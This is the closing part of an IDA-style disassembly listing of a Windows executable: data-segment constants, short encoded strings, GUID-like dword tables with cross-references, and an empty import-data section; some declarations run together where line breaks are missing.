byte_552999	db 1, 0, 0Eh		; DATA XREF: sub_43A985+229o
		db 24h,	0
word_55299E	dw 4			; DATA XREF: sub_43A985+1E2o
aUUuu		db 'îêîîî',0
asc_5529A6	db 0Bh,0		; DATA XREF: sub_43A8C0:loc_43A90Ao
aFzcberbvlkre	db 'ä§–…¢‹Š¥',0
asc_5529B5	db 9,0			; DATA XREF: sub_43A8C0+33o
		db 6Ch
		dd 5F05080Bh, 8425Eh
		db 2 dup(0)
word_5529C2	dw 9			; DATA XREF: sub_43A8C0+1o
		dd 7C717215h, 713B2726h, 3A007979h, 2F2Fh
dword_5529D4	dd 9BA05972h, 11CFF6A8h, 0A00042A4h, 398F0AC9hdword_5529E4	dd 0FE4106E0h, 11D0399Ah, 0A0008CA4h, 398F0AC9h					; sub_43A324+214o ...
dword_5529F4	dd 34A715A0h, 11D06587h, 20004A92h, 4DACC7AFh					; sub_43A324+199o ...
dword_552A04	dd 3050F25Bh, 11CF98B5h, 0AA0082BBh, 0BCEBD00hdword_552A14	dd 0B196B284h, 101ABAB4h, 0AA009CB6h, 71D3400hdword_552A24	dd 20400h, 0						; sub_43E94C+1Co ...
		dd 0C0h, 46000000h
dword_552A34	dd 332C4425h, 11D026CBh, 0C00083B4h, 1901D94Fh					; sub_44300F+1BBo
dword_552A44	dd 3050F21Fh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h					; sub_4441D8+60o
dword_552A54	dd 3050F1FFh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h					; sub_44300F+580o ...
dword_552A64	dd 3050F1F7h, 11CF98B5h, 0AA0082BBh, 0BCEBD00hdword_552A74	dd 3050F240h, 11CF98B5h, 0AA0082BBh, 0BCEBD00hdword_552A84	dd 332C4427h, 11D026CBh, 0C00083B4h, 1901D94Fhdword_552A94	dd 85CB6900h, 11CF4D95h, 80000C96h, 85EEF4C7hdword_552AA4	dd 0D30C1661h, 11D0CDAFh, 0C0003E8Ah, 6EE2C94Fh, 53h dup(0)
					; DATA XREF: sub_43A324+13Ao
					; sub_43EC94+A0o ...
_data		ends

; Section 6. (virtual address 00153000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00152C00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 553000h
		dd 2Bh dup(0)
dword_5530AC	dd 0		dword_5530B0	dd 0		dword_5530B4	dd 0				align 10h
dword_5530C0	dd 0		dword_5530C4	dd 0		dword_5530C8	dd 0		dword_5530CC	dd 0		dword_5530D0	dd 0		dword_5530D4	dd 0		dword_5530D8	dd 0		dword_5530DC	dd 0				align 1000h
_idata2		ends


		end start